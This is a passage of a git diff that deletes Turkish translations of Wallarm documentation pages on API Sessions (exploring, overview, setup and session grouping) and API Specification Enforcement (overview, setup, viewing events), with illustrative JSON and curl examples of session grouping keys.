b/docs/latest-tr/api-sessions/blocking.md deleted file mode 100644 index 2fbb34aaed..0000000000 --- a/docs/latest-tr/api-sessions/blocking.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/api-sessions/blocking.md" \ No newline at end of file diff --git a/docs/latest-tr/api-sessions/exploring.md b/docs/latest-tr/api-sessions/exploring.md deleted file mode 100644 index 12538e64f2..0000000000 --- a/docs/latest-tr/api-sessions/exploring.md +++ /dev/null @@ -1,89 +0,0 @@ -[link-attacks]: ../user-guides/events/check-attack.md -[link-incidents]: ../user-guides/events/check-incident.md -[link-sessions]: ../api-sessions/overview.md -[link-api-abuse-prevention]: ../api-abuse-prevention/overview.md -[img-api-sessions-api-abuse]: ../images/api-sessions/api-sessions-api-abuse.png - -# API Sessions'ı Keşfetme - -Wallarm'ın [API Sessions](overview.md) özelliği uygulamalarınızla ilgili kullanıcı oturumlarını belirler belirlemez, bunları Wallarm Console içindeki **API Sessions** bölümünde inceleyebilirsiniz. Bu makaleden keşfedilen verilerde nasıl gezineceğinizi öğrenin. - -## Tehdit aktörü faaliyetlerinin tam bağlamı - ---8<-- "../include/request-full-context.md" - -## Belirli bir zaman aralığındaki faaliyetler - -Belirttiğiniz zaman aralığında neler olduğunu araştırabilirsiniz. Bunu yapmak için tarih/saat filtresini ayarlayın. Yalnızca belirtilen zamanda gerçekleşen istekleri içeren oturumlar görüntülenecek — her oturum içinde de yalnızca bu zaman aralığındaki istekler gösterilecektir. - -![!API Sessions - belirli zaman aralığındaki faaliyetler](../images/api-sessions/api-sessions-timeframe.png) - -İpucu: Kendi tarayıcınızda [oturumunuza bağlantıyı](#sharing-session-information) kullanın ve **ardından** yalnızca seçili oturumdan, seçili zamana ait istekleri görmek için zaman aralığını ayarlayın. - -## Oturum içindeki belirli faaliyetler - -Oturum; farklı türlerde (POST, GET vb.) birçok istek, farklı yanıt kodları, farklı IP’ler ve farklı saldırı türlerine sahip meşru ve kötü amaçlı istekler içerebilir. - -Oturum ayrıntılarında, isteklerin farklı ölçütlere göre dağılımını gösteren kapsamlı istatistikleri görebilirsiniz. Yalnızca belirli istekleri görmek için oturum içi filtreler (bir veya birkaç) uygulayabilirsiniz. - -![!API Sessions - oturum içindeki filtreler](../images/api-sessions/api-sessions-inline-filters.png) - -Oturum içi filtrelerin **API Sessions** bölümünün genel filtreleriyle etkileşimde bulunduğunu unutmayın: - -* Genel filtreler uygulandıktan sonra açılan herhangi bir oturum bu filtreleri devralır (oturum içinde bunu iptal etmek için **Show all requests**’e tıklayabilirsiniz). -* Mevcut oturumunuz içinde genel filtreleri uygulamak için **Apply filters** düğmesini kullanın. - -## Etkilenen uç noktaları inceleme - -Etkilenen uç noktaları incelemek için oturum istek ayrıntılarındaki **API Discovery insights**’ı kullanın. Uç noktanın risk altında olup olmadığına, bu riskin uç noktanın [rogue](../api-discovery/rogue-api.md) (özellikle, shadow veya zombie API’ler) olması nedeniyle ortaya çıkıp çıkmadığına ve ne ölçüde ve hangi önlemlerle korunduğuna dair bilgileri anında edinebilirsiniz. - -![!API Sessions - APID uç nokta içgörüleri](../images/api-sessions/api-sessions-apid-insight.png) - -[**API Discovery**](../api-discovery/overview.md) bölümündeki uç nokta bilgisine geçmek için **Explore in API Discovery**’e tıklayın. - -## Performans sorunlarını tanımlama - -Oturum istek ayrıntılarında sunulan verileri beklenen ortalama değerlerle karşılaştırmak için **Time,ms** ve **Size,bytes** sütunlarını kullanın. Bekleneni önemli ölçüde aşan değerler olası performans sorunları ve darboğazlara ve kullanıcı deneyimini iyileştirme fırsatlarına işaret eder. - -## Hassas iş akışları - -[API Discovery](../api-discovery/overview.md) içinde, [hassas iş akışı](../api-discovery/sbf.md) özelliği (NGINX Node 5.2.11 veya native Node 0.10.1 ya da üstü gerektirir), kimlik doğrulama, hesap yönetimi, faturalandırma ve benzeri kritik işlevler gibi belirli iş akışları ve işlevler için kritik olan uç noktaların otomatik ve manuel olarak belirlenmesini sağlar. - -Oturumların istekleri, API Discovery’de bazı hassas iş akışları için önemli olarak etiketlenmiş uç noktaları etkiliyorsa, bu oturumlar da otomatik olarak ilgili iş akışını etkiliyor olarak etiketlenir. - -Oturumlara hassas iş akışı etiketleri atandığında, bunları belirli bir iş akışına göre filtrelemek mümkün olur; bu da analiz edilmesi en önemli oturumları seçmeyi kolaylaştırır. - -![!API Sessions - hassas iş akışları](../images/api-sessions/api-sessions-sbf-no-select.png) - -Wallarm, iş akışlarını listeler ve oturumdaki toplam istek sayısından o akışla ilgili isteklerin sayısını ve yüzdesini görüntüler. - -Oturumlar aşağıdaki hassas iş akışlarından biriyle ilişkilendirilebilir: - ---8<-- "../include/default-sbf.md" - -Belirli akışları etkileyen tüm oturumları hızlıca analiz etmek için **Business flow** filtresini kullanın. - -## Kullanıcılar ve roller bazında oturumlar - -API Sessions’ı kullanıcılar ve rollerine ilişkin bilgileri elde edecek şekilde [yapılandırdıysanız](setup.md#users-and-roles), oturumları kullanıcılar ve rollere göre filtreleyebilirsiniz. - -![!API Sessions - kullanıcı ve kullanıcı rolü gösterimi](../images/api-sessions/api-sessions-user-role-display.png) - -## API kötüye kullanım tespiti doğruluğunu doğrulama - ---8<-- "../include/bot-attack-full-context.md" - -## Saldırı tespitini ayarlama - -Wallarm’ın saldırı tespitine ilişkin davranışını doğrudan oturumun kötü amaçlı isteğinden ayarlayabilirsiniz: - -* Saldırı [yanlış pozitif](../about-wallarm/protecting-against-attacks.md#false-positives) olarak işaretlenebilir — filtreleme düğümü gelecekte bu tür istekleri saldırı olarak tanımaz. -* Bir [kural](../user-guides/rules/rules.md) oluşturulabilir — etkinleştirildiğinde, kural isteklerin analizinde ve sonraki işlemlerinde varsayılan Wallarm davranışını değiştirir. - -![!API Sessions - istek ayrıntıları - kullanılabilir eylemler](../images/api-sessions/api-sessions-request-details-actions.png) - -## Oturum bilgilerini paylaşma - -Oturumda şüpheli davranış bulduysanız ve içgörüleri meslektaşlarınızla paylaşmak ve oturumu daha sonra analiz etmek üzere saklamak istiyorsanız, oturum ayrıntılarında **Copy link** veya **Download CSV** öğesini kullanın. - -![!API Sessions - oturum bilgilerini paylaşma](../images/api-sessions/api-sessions-share.png) \ No newline at end of file diff --git a/docs/latest-tr/api-sessions/overview.md b/docs/latest-tr/api-sessions/overview.md deleted file mode 100644 index 161e7eaba8..0000000000 --- a/docs/latest-tr/api-sessions/overview.md +++ /dev/null @@ -1,52 +0,0 @@ -# API Sessions'e Genel Bakış - -Wallarm'ın **API Sessions** özelliği, trafiğinizdeki kullanıcı oturumlarına görünürlük sağlar. Her oturum için Wallarm, ayrıntılı istek ve ilgili yanıt verilerini toplayarak oturum etkinliğine yapılandırılmış bir bakış sunar. Bu makale, API Sessions’a genel bir bakış sağlar: ele aldığı sorunlar, amacı ve başlıca olanaklar. - -API Sessions, [NGINX Wallarm node](../installation/nginx-native-node-internals.md#nginx-node) 5.1.0 veya [native Wallarm node](../installation/nginx-native-node-internals.md#native-node) 0.8.0 gerektirir. Yanıt ayrıştırma: NGINX Wallarm node 5.3.0 veya native node 0.12.0. - -![!API Sessions bölümü - izlenen oturumlar](../images/api-sessions/api-sessions.png) - -## Ele alınan sorunlar - -API Sessions’ın ele aldığı temel zorluk, Wallarm tarafından tespit edilen yalnızca tekil saldırılara bakıldığında tam bağlamın eksik olmasıdır. Her oturum içindeki istek ve yanıtların mantıksal sırasını yakalayarak, API Sessions daha geniş saldırı kalıplarına dair içgörüler sağlar ve güvenlik önlemlerinden etkilenen iş mantığı alanlarını belirlemeye yardımcı olur. - -**Wallarm API Sessions’ı net biçimde tanımladığından, bunlar**: - -* API Abuse Prevention tarafından bot tespitini [daha isabetli](#api-sessions-and-api-abuse-prevention) hale getirir. - -**Wallarm tarafından izlenen API Sessions ile şunları yapabilirsiniz**: - -* Tek bir oturumda yapılan isteklerin listesini görüntüleyerek ve karşılık gelen yanıtların parametrelerini görme olanağıyla [kullanıcı etkinliğini izleyin](exploring.md#full-context-of-threat-actor-activities); böylece alışılmadık davranış kalıplarını veya tipik kullanımdan sapmaları belirleyebilirsiniz. -* Belirli bir [yanlış pozitif](../about-wallarm/protecting-against-attacks.md#false-positives) ayarı yapmadan, [sanal yama](../user-guides/rules/vpatch-rule.md) uygulamadan, [kurallar](../user-guides/rules/rules.md) eklemeden veya [API Abuse Prevention](../api-abuse-prevention/overview.md) kontrollerini etkinleştirmeden önce hangi API akışlarının/iş mantığı sıralarının etkileneceğini bilin. -* Kullanıcı oturumlarında istenen [uç noktaları](exploring.md) inceleyerek koruma durumlarını, risk düzeylerini ve [shadow or zombie](../api-discovery/rogue-api.md) olma gibi tespit edilen sorunları hızla değerlendirin. -* Kullanıcı deneyimini iyileştirmek için [performans sorunlarını](exploring.md#identifying-performance-issues) ve darboğazları belirleyin. -* Kötü amaçlı bot faaliyeti olarak işaretlenen isteklerin tüm dizisini ve karşılık gelen yanıtlarını görüntüleyerek [API suistimali tespit doğruluğunu doğrulayın](exploring.md#verifying-api-abuse-detection-accuracy). - -## API Sessions nasıl çalışır - -Wallarm node’unun korumak üzere etkinleştirildiği tüm trafik, oturumlara organize edilir ve **API Sessions** bölümünde görüntülenir. - -İsteklerin uygulamanızın mantığına göre oturumlara nasıl gruplanacağını özelleştirebilirsiniz. Ayrıca, oturum içinde hangi istek ve karşılık gelen yanıt parametrelerinin gösterileceğini belirterek oturum içeriğini anlamanıza yardımcı olacak bağlam parametrelerini ayarlayabilirsiniz: kullanıcının neyi, hangi sırayla yaptığı. Ayrıntılar için [API Sessions Kurulumu](setup.md). - -
              - -
              - -
              -
              - -Wallarm’ın oturumları **yalnızca son bir hafta** için saklayıp görüntülediğini unutmayın. Daha eski oturumlar, en uygun performans ve kaynak tüketimini sağlamak için silinir. - -## API Sessions ve API Abuse Prevention - -Wallarm’ın [API Abuse Prevention](../api-abuse-prevention/overview.md) özelliği, örneğin aynı `SESSION-ID` üstbilgisi değerine sahip olup yalnızca zaman/tarih ile ayrılan oturumlar gibi bir veya birkaç ilişkili oturumdaki istek dizilerini analiz ederek kötü amaçlı botları tespit eder. - -Dolayısıyla, isteklerin [oturumlara nasıl gruplanacağını](setup.md#session-grouping) belirli uygulama mantığınıza uygun biçimde özelleştirdiğinizde, bu durum API Abuse Prevention’ın çalışmasını etkiler ve hem oturum tanımlamayı hem de bot tespitini daha isabetli hale getirir. - -## API Sessions’da GraphQL istekleri - -API Sessions, [GraphQL istekleri](../user-guides/rules/request-processing.md#gql) ve bunlara özgü istek noktalarıyla çalışmayı destekler; GraphQL istek parametrelerinin değerlerini çıkarmak ve görüntülemek için oturumları yapılandırabilirsiniz. - -![!API Sessions yapılandırması - GraphQL istek parametresi](../images/api-sessions/api-sessions-graphql.png) - -NGINX Node 5.3.0 veya daha yüksek ya da native node 0.12.0 gerektirir. \ No newline at end of file diff --git a/docs/latest-tr/api-sessions/setup.md b/docs/latest-tr/api-sessions/setup.md deleted file mode 100644 index 3acbaa151e..0000000000 --- a/docs/latest-tr/api-sessions/setup.md +++ /dev/null @@ -1,145 +0,0 @@ -# API Sessions Kurulumu - -[API Sessions](overview.md), oturum tanımlaması için yerleşik kuralları içerir ve çalışmaya başlaması için yalnızca etkinleştirilmiş Wallarm [node](../about-wallarm/overview.md#how-wallarm-works)'a ihtiyaç duyar. İsteğe bağlı olarak, bu makalede açıklandığı gibi API Sessions'ı ihtiyaçlarınıza göre ince ayar yapabilirsiniz. - -## Oturum bağlamı - -API sessions içindeki bağlam, istek verilerini mantıksal oturumlara gruplandırarak ve yanıt verileri ile meta verileri ekleyerek oturum etkinliğine daha derin bir içgörü sağlayan bilgilerdir. Bağlam yapılandırması, hangi yönlerin veya ek verilerin izlenip her bir oturumla ilişkilendirileceğini belirtmenize olanak tanır. - -Ek istek ve yanıt parametreleri ekleyerek, oturumları hassas iş akışlarıyla ilişkilendirerek ve kullanıcı ile kullanıcı rolü tanımlaması için kullanılabilecek parametreleri vurgulayarak oturum bağlamını ayarlayın. - -!!! info "İzin verilen oturum bağlamı parametre sayısı" - Oturum bağlamı ve [gruplama](#session-grouping) için kullanmak üzere en fazla 20 oturum bağlamı parametresi ekleyebilirsiniz. - -### Ek parametreler - -**API Sessions** içinde, bir oturum kapsamında, istek ayrıntıları varsayılan olarak şunları içerir: - -* [Oturum gruplama](#session-grouping) için işe yarayan istek veya yanıt parametresi - sizin belirlediğiniz ya da yerleşik kümeden biri (**API session ID parameters** grubunda vurgulanır). -* Azaltma kontrolleri tarafından (varsa) [eklenen](#mitigation-controls) parametreler. -* Kötücül istekler için - tam istek içeriği. - -Oturum içeriğini anlamak için ihtiyaç duyduğunuz, hem istekler hem de bunlara bağlı yanıtlar için herhangi bir ek (bağlam) [parametreyi](../user-guides/rules/request-processing.md) ekleyebilirsiniz: aktörün ne yaptığı, hangi sırayla yaptığı ve yanıtın ne olduğu. Bunu yapmak için, Wallarm Console → **API Sessions** → **Session context parameters** içinde bu parametreleri ekleyin. Eklendikten sonra, Wallarm bunları Wallarm Cloud'a aktarır ve Wallarm Console'da, oturum isteklerinizin ayrıntılarında (**API session parameters** grubunda) [görüntüler](#data-protection). - -![!API Sessions - bağlam parametreleri](../images/api-sessions/api-sessions-context-parameters.png) - -Bazı örnekler: - -İstenin `jwt_payload` alanından kullanıcı adının alınması: - -``` -{ - "token_type": "access", - "exp": 1741774186, - "iat": 1741773706, - "jti": "jti_value", - "user_id": 932, - "details": { - "username": "john-doe@company-001.com", - "rnd": "some_data", - "contact": { - "contactId": 438, - "contactUUID": "contact_UUID_value", - "firstName": "John", - "lastName": "Doe", - "portalSecurityLevel": 3, - "companyId": 255, - "companyName": "Company 001", - "companyUUID": "company_UUID_value" - } - } -} -``` - -... şu şekilde görünür: - -![!API Sessions - bağlam parametreleri - örnek - JWT](../images/api-sessions/api-sessions-context-parameters-example-jwt.png) - -İstek gövdesinden `email` parametresinin alınması: - -![!API Sessions - bağlam parametreleri - örnek - istek](../images/api-sessions/api-sessions-context-parameters-example-request.png) - -Yanıt gövdesinden `product_id` parametresinin alınması: - -![!API Sessions - bağlam parametreleri - örnek - yanıt](../images/api-sessions/api-sessions-context-parameters-example-response.png) - -İstek başlığından JWT belirtecinin alınması: - -![!API Sessions - bağlam parametreleri - örnek - başlık](../images/api-sessions/api-sessions-context-parameters-example-header.png) - - - -### Kullanıcılar ve roller - -Oturum kullanıcısını ve rolünü adlandırmak için kullanılacak oturum parametrelerini vurgulayabilirsiniz. Bunu yapmak için, Wallarm Console → **API Sessions** → **Session context parameters** içinde parametrenizi ekleyin, ardından **Type** alanından `User` veya `Role` seçin. - -![!API Sessions - kullanıcı ve kullanıcı rolü kurulumu](../images/api-sessions/api-sessions-user-role-select.png) - -Kullanıcı ve rolünün belirlenmesi için kullanılacak parametreleri yapılandırdıktan sonra, bu parametreler oturumlar için doldurulmaya başlanır. Oturumları kullanıcılara ve rollere göre filtreleyebilirsiniz. - -![!API Sessions - kullanıcı ve kullanıcı rolü gösterimi](../images/api-sessions/api-sessions-user-role-display.png) - -### Azaltma kontrolleri - -[Mitigation controls](../about-wallarm/mitigation-controls-overview.md), oturum bağlamına daha fazla parametre ekleyebilir; örneğin, **BOLA protection** azaltma kontrolü `object_id` parametresini [numaralandırma için izlenen](../api-protection/enumeration-attack-protection.md#enumerated-parameters) veya [kapsam için filtre](../api-protection/enumeration-attack-protection.md#scope-filters) olarak kullanmak isteyebilir; böyle bir parametre **API Sessions** → **Session context parameters** içinde ekli değilse, doğrudan azaltma kontrolü yapılandırmasında eklenebilir: API Session içinde, gizli olarak eklenecektir; bu, bu parametreler isteklerde bulunuyorsa oturum ayrıntılarında onları göreceğiniz ancak **Session context parameters** yapılandırmasında görmeyeceğiniz anlamına gelir. - -Gizli eklenen parametreler, 20 parametre kotasından herhangi bir şey tüketmez. Parametreler, azaltma kontrolünün sağladığı korumanın durmasına yol açabilecek silme işlemlerini önlemek için gizlenir. - -## Oturumların gruplandırılması - -Wallarm, uygulamalarınızın trafiğindeki istekleri, isteklerin ve/veya yanıtların seçili başlık/parametrelerinin **eşit değerlerine** göre kullanıcı oturumlarına gruplandırır. Yapılandırmada, bunlar gruplama anahtarı olarak işaretlenmiş parametrelerdir. Gruplama anahtarlarının nasıl çalıştığını [örnekte](#grouping-keys-example) görün. - -Varsayılan olarak, oturumlar bu tür parametrelerin **yerleşik kümesi** ile tanımlanır (Wallarm Console'da görüntülenmez). Mantığı, `PHPSESSID` veya `SESSION-ID` başlıkları gibi en yaygın tanımlama parametrelerini denemek ve bunlar işe yaramazsa - oturumu `istek kaynak IP'si ve user-agent` birleşimine göre (veya user-agent yoksa en azından IP'ye göre) oluşturmaktır. - -Uygulamalarınızın mantığına dayalı kendi tanımlama parametrelerinizi ekleyebilirsiniz. Bunu yapmak için, Wallarm Console → **API Sessions** → **Session context parameters** bölümüne gidin, istek veya yanıt parametrenizi ekleyin ve bunun için **Group sessions by this key** seçeneğini işaretleyin. - -!!! info "API Abuse prevention ile bot tespiti **üzerindeki** etki" - Wallarm'ın API Abuse Prevention özelliği, kötü amaçlı bot tespiti için oturumları kullanır. Uygulamalarınızın mantığına dayalı kendi oturum tanımlama parametrelerinizi eklemek, hem oturum tespitini hem de API Abuse Prevention'ın bot tespitini daha hassas hale getirir. [Ayrıntılara bakın](overview.md#api-sessions-and-api-abuse-prevention). - -![!API Sessions - Yapılandırma](../images/api-sessions/api-sessions-settings.png) - -Birden fazla gruplama anahtarı ekleyebilirsiniz; bunlar belirtilen sırayla denenir - biri işe yaramazsa ancak bir sonraki denenir. Sırayı değiştirmek için sürükleyin. Kendi anahtarlarınız her zaman yerleşik olanlardan önce denenir. - -!!! info "`Mask sensitive data` kuralından **kaynaklanan** etki" - Bir parametrenin gruplama anahtarı olarak çalışabilmesi için, [Mask sensitive data](../user-guides/rules/sensitive-data-rule.md) kuralından etkilenmemesi gerekir. - -**Gruplama anahtarlarının nasıl çalıştığına dair örnek** - -Diyelim ki `response_body →` `json_doc → hash → token` yanıt parametresinde belirli bir `` döndüren bir login rotanız var. Daha sonraki isteklerde bu ``, `get → token` veya `post → json_doc → hash → token` içinde bir yerde kullanılıyor. - -Gruplama anahtarları olarak kullanılmak üzere 3 parametreyi yapılandırabilirsiniz (yanıt gövdesi, get ve post istekleri için). Bunlar aşağıdaki sırayla denenir (biri işe yaramazsa ancak bir sonraki denenir): - -1. `response_body → json_doc → hash → token` -2. `get → token` -3. `post → json_doc → hash → token` -4. (yerleşik küme, önceki hiçbirinin işe yaramaması durumunda kullanılacaktır) - -![!API Sessions - işleyen gruplama anahtarlarına örnek](../images/api-sessions/api-sessions-grouping-keys.png) - -İstekler: - -* curl `example.com -d '{in: 'bbb'}'` yanıtı `'{token: aaa}'` → oturum "A" (**gruplama anahtarı #1 çalıştı**) -* curl `example.com -d '{in: 'ccc'}' '{token: 'aaa'}'` belirteç içermeyen yanıt → oturum "A" (**gruplama anahtarı #3 çalıştı**) - -Aynı `aaa` parametre değeri bu istekleri tek bir oturumda gruplandırır. - -## Veri koruması - -API Sessions için, node'dan Cloud'a, Wallarm yalnızca sizin seçtiğiniz parametreleri dışa aktarır. Bunlar hassas veriler içeriyorsa, dışa aktarmadan önce mutlaka hash'leyin. Hash'lemenin gerçek değeri okunamaz hale getireceğini unutmayın - parametrenin varlığı ve belirli ancak bilinmeyen bir değer, analiz için sınırlı bilgi sağlayacaktır. - -Hassas parametreleri hash'lemek için, bunlar Wallarm Console → **API Sessions** → **Session context parameters** içinde eklendikten sonra, onlar için **Hashing (secret)** seçeneğini belirleyin. - -Wallarm, seçilen parametreleri dışa aktarmadan önce hash'ler. - -## Analiz edilen trafik - -API Sessions, Wallarm node'unun korumak üzere etkinleştirildiği tüm trafiği analiz ederek oturumlara organize eder. Analizi seçili uygulamalar/ana bilgisayarlarla sınırlamayı talep etmek için [Wallarm destek ekibi](mailto:support@wallarm.com) ile iletişime geçebilirsiniz. - -## Saklama süresi - -**API Sessions** bölümü, son bir haftalık oturumları saklar ve görüntüler. Daha eski oturumlar, optimum performans ve kaynak tüketimi sağlamak için silinir. \ No newline at end of file diff --git a/docs/latest-tr/api-specification-enforcement/overview.md b/docs/latest-tr/api-specification-enforcement/overview.md deleted file mode 100644 index b8d383a2dd..0000000000 --- a/docs/latest-tr/api-specification-enforcement/overview.md +++ /dev/null @@ -1,45 +0,0 @@ -[waf-mode-instr]: ../admin-en/configure-wallarm-mode.md - -# API Specification Enforcement Genel Bakış - -**API Specification Enforcement**, yüklediğiniz spesifikasyonlara dayanarak API’lerinize güvenlik politikaları uygulamak üzere tasarlanmıştır. Birincil işlevi, spesifikasyonunuzdaki uç nokta açıklamaları ile REST API’lerinize yapılan gerçek istekler arasındaki tutarsızlıkları tespit etmektir. Bu tür tutarsızlıklar belirlendiğinde, sistem bunları ele almak için önceden tanımlanmış eylemler gerçekleştirebilir. - -![API Specification Enforcement - diyagram](../images/api-specification-enforcement/api-specification-enforcement-diagram.png) - -## API Specification Enforcement tarafından ele alınan sorunlar - -Kuruluşunuz API aracılığıyla dışa açık bir dizi uygulama ve bunlara erişmeye çalışan, otomasyon araçları da dahil çok sayıda harici IP kullanıyor olabilir. Bazı kaynaklara, hedeflere veya davranışlara özel olarak bağlı kısıtlamalar oluşturmak kaynak tüketen bir iştir. - -API Specification Enforcement, pozitif güvenlik modelinden yararlanarak güvenlik çabasını azaltmayı sağlar - spesifikasyon aracılığıyla neyin izinli olduğunu tanımlar, kısa bir ilke setiyle geri kalan her şeyin nasıl ele alınacağını belirler. - -**API envanteriniz API spesifikasyonu ile eksiksiz şekilde açıklanmış olduğundan, şunları yapabilirsiniz**: - -* Bu spesifikasyonu Wallarm’a yükleyin. -* Birkaç tıklamayla, spesifikasyonda yer almayan veya ona aykırı olan API öğelerine yönelik isteklere ilişkin ilkeleri belirleyin. - -Ve böylece: - -* Belirli kısıtlayıcı kurallar oluşturma gereğini ortadan kaldırın. -* Bu kuralların kaçınılmaz gerekli güncellemelerinden kaçının. -* Doğrudan kısıtlayıcı bir kuralın yapılandırılmadığı saldırıları asla kaçırmayın. - -## Nasıl çalışır - -İstekler spesifikasyonunuzu farklı açılardan ihlal edebilir: - ---8<-- "../include/api-policies-enforcement/api-policies-violations.md" - -API Specification Enforcement kullanıldığında, CPU tüketimi normalde yaklaşık %20 artar. - -Kaynak tüketimini sınırlamak için, API Specification Enforcement zaman (50 ms) ve istek boyutu (1024 KB) ile sınırlara sahiptir - bu sınırlar aşıldığında, isteğin işlenmesini durdurur ve bu sınırlardan birinin aşıldığını belirten, **Specification processing overlimit** [olayını](viewing-events.md#overlimit-events) **Attacks** bölümünde oluşturur. - -!!! info "API Specification Enforcement ve diğer koruma önlemleri" - API Specification Enforcement’ın isteğin işlenmesini durdurmasının, isteğin diğer Wallarm koruma prosedürleri tarafından işlenmediği anlamına gelmediğini unutmayın. Dolayısıyla bir saldırıysa, Wallarm yapılandırmasına uygun olarak kaydedilir veya engellenir. - -Sınırları veya Wallarm davranışını (aşım durumlarının izlenmesinden bu tür isteklerin engellenmesine) değiştirmek için [Wallarm Support](mailto:support@wallarm.com) ile iletişime geçin. - -API Specification Enforcement’ın, Wallarm node tarafından gerçekleştirilen olağan [saldırı tespitine](../about-wallarm/protecting-against-attacks.md) kendi düzenlemesini eklediğini ve onun yerine geçmediğini unutmayın; böylece trafiğiniz hem saldırı belirtilerinin yokluğu hem de spesifikasyonunuza uygunluk açısından denetlenecektir. - -## Kurulum - -API’lerinizi API Specification Enforcement ile korumaya başlamak için, spesifikasyonunuzu yükleyin ve [burada](setup.md) açıklandığı şekilde ilkeleri ayarlayın. \ No newline at end of file diff --git a/docs/latest-tr/api-specification-enforcement/setup.md b/docs/latest-tr/api-specification-enforcement/setup.md deleted file mode 100644 index 21c9ce76aa..0000000000 --- a/docs/latest-tr/api-specification-enforcement/setup.md +++ /dev/null @@ -1,52 +0,0 @@ -[waf-mode-instr]: ../admin-en/configure-wallarm-mode.md - -# API Specification Enforcement Kurulumu - -Bu makale, [yüklediğiniz API spesifikasyonuna](overview.md) dayalı API korumanızı nasıl etkinleştireceğinizi ve yapılandıracağınızı açıklar. - -## Adım 1: Spesifikasyonu yükleyin - -1. [US Cloud](https://us1.my.wallarm.com/api-specifications/) veya [EU Cloud](https://my.wallarm.com/api-specifications/) içindeki **API Specifications** bölümünde **Upload specification** öğesine tıklayın. -1. Spesifikasyon yükleme parametrelerini belirleyin ve yüklemeyi başlatın. - - ![Spesifikasyon yükleme](../images/api-specification-enforcement/specificaton-upload.png) - -Spesifikasyon dosyası, API spesifikasyonu sözdizimine uygunluk açısından kontrol edilir; geçerli değilse yüklenmez. Spesifikasyon dosyası başarıyla yüklenene kadar API specification enforcement yapılandırmasını başlatamayacağınızı unutmayın. - -Spesifikasyonu bir URI’den yüklemeyi ve **Regularly update the specification** (saatte bir) seçeneğini seçerseniz, düzenli güncelleme sırasında hatalar olabilir: URI kullanılamaz olabilir veya güncellenen spesifikasyon dosyası API spesifikasyonu sözdizimine uymayabilir. Bu tür hatalara ilişkin bildirimler almak için, yapılandırdığınız [**Integrations**](../user-guides/settings/integrations/integrations-intro.md) içinde **System related** olaylarını seçin—spesifikasyon yükleme hatalarıyla ilgili bildirimler bu kategoriye dahildir. - -## Adım 2: İlkeler ihlalleri için eylemleri belirleyin - -1. **API specification enforcement** sekmesine tıklayın. - - !!! info "Rogue API tespiti" - * Güvenlik politikalarını uygulamanın yanı sıra, spesifikasyonlar [API Discovery](../api-discovery/overview.md) modülü tarafından [rogue API tespiti](../api-discovery/rogue-api.md) için de kullanılabilir. API Discovery etkinse sekme görüntülenir. - * Spesifikasyonu güvenlik politikalarını uygulamak için kullanmadan önce, API Discovery kullanarak rogue (gölge, zombi ve yetim) API’leri aramak için kullanmanız önerilir. Bu şekilde, spesifikasyonunuzun istemcilerinizin gerçek isteklerinden ne kadar farklı olduğunu anlayabilirsiniz—bu farklar, güvenlik politikaları uygulandıktan sonra ilgili isteklerin engellenmesine büyük olasılıkla neden olacaktır. - -1. **Use for API specification enforcement** seçeneğini belirleyin. -1. İlke ihlali eylemlerini etkinleştirmek istediğiniz host veya endpoint’i belirtin. - - * Yüklenen spesifikasyonun hangi endpoint’lere uygulanacağını yanlış belirtirseniz, çok sayıda [yanlış pozitif](../about-wallarm/protecting-against-attacks.md#false-positives) olay oluşacaktır. - * Aynı host’a uygulanan ancak farklı endpoint’lere ait birden fazla spesifikasyonunuz varsa (örneğin `domain.com/v1/api/users/` ve `domain.com/v1/api/orders/`), spesifikasyonun hangi endpoint’lere uygulanması gerektiğini belirtmeniz **zorunludur**. - * Bir host’a bir spesifikasyon ekleyip ardından bu host’un belirli endpoint’lerine başka bir spesifikasyon eklerseniz, her iki spesifikasyon da bu endpoint’lere uygulanacaktır. - * Değer, [URI constructor](../user-guides/rules/rules.md#uri-constructor) veya [advanced edit form](../user-guides/rules/rules.md#advanced-edit-form) üzerinden yapılandırılabilir. - -1. İstekler spesifikasyonunuzu ihlal ederse sistemin nasıl tepki vereceğini ayarlayın. - - ![Spesifikasyon - güvenlik politikalarını uygulamak için kullanım](../images/api-specification-enforcement/specification-use-for-api-policies-enforcement.png) - - Olası ihlallerle ilgili ayrıntılar: - - --8<-- "../include/api-policies-enforcement/api-policies-violations.md" - - Spesifikasyonu güvenlik politikalarını ayarlamak için ilk kez kullanırken, spesifikasyonun gerekli endpoint’lere uygulandığından ve gerçek hataları tespit ettiğinden emin olmak için tepki olarak `Monitor` ayarlanması önerilir. - -## Devre dışı bırakma - -API Specification Enforcement’ın çalışması, yüklenmiş ve her biri için **Use for API specification enforcement** seçeneği işaretli bir veya birden fazla spesifikasyona dayanır. Bu seçeneğin bazı spesifikasyonlar için işaretinin kaldırılmasının veya bu spesifikasyonun silinmesinin, o spesifikasyona dayalı korumayı durduracağını dikkate alın. - -Ayrıca, bazı durumlarda API Specification Enforcement işlevselliğini API’nizin yalnızca bazı bölümleri için devre dışı bırakmanız gerekebilir. Bu şu şekilde yapılabilir: - -* [all-in-one installer](../installation/nginx/all-in-one.md) kurulumları için, API Specification Enforcement kullanılan herhangi bir `server` bölümünde [`wallarm_enable_apifw`](../admin-en/configure-parameters-en.md#wallarm_enable_apifw) NGINX yönergesini `off` olarak ayarlayarak. -* NGINX tabanlı Docker imajı için, `WALLARM_APIFW_ENABLE` [ortam değişkenini](../admin-en/installation-docker-en.md#run-the-container-passing-the-environment-variables) `false` olarak ayarlayarak. -* NGINX Ingress Controller için, [`controller.wallarm.apifirewall`](../admin-en/configure-kubernetes-en.md#controllerwallarmapifirewall) değer grubunda `enable` değerini `false` olarak ayarlayarak. \ No newline at end of file diff --git a/docs/latest-tr/api-specification-enforcement/viewing-events.md b/docs/latest-tr/api-specification-enforcement/viewing-events.md deleted file mode 100644 index 4207379904..0000000000 --- a/docs/latest-tr/api-specification-enforcement/viewing-events.md +++ /dev/null @@ -1,23 +0,0 @@ -# API Spesifikasyonu Zorlaması Nedeniyle Oluşan Olayları Görüntüleme - -Spesifikasyon tabanlı güvenlik politikalarını uygulamak için API spesifikasyonunuzu [yüklediğiniz](setup.md) ve zorlamayı yapılandırdığınız anda, politikalar isteklere uygulanmaya başlar. Bu makale, Wallarm Console içinde politikaları ihlal eden istekleri nasıl görüntüleyip analiz edeceğinizi açıklar. - -## Politikaları ihlal eden isteklere ilişkin istatistikler - -Politika ihlali eğilimlerini izlemek için, Wallarm Console içinde **API Specifications** → your specification → **Policy violations** sütunundaki spesifikasyon ihlallerinin sayısını kontrol edin. Bu veriler son 7 güne ilişkin içgörü sağlar. - -Bu sayıya tıklayarak ayrıntıları **Attacks** bölümünde görebilirsiniz. - -## Politikaları ihlal eden isteklerin analizi - -Spesifikasyon tabanlı politika 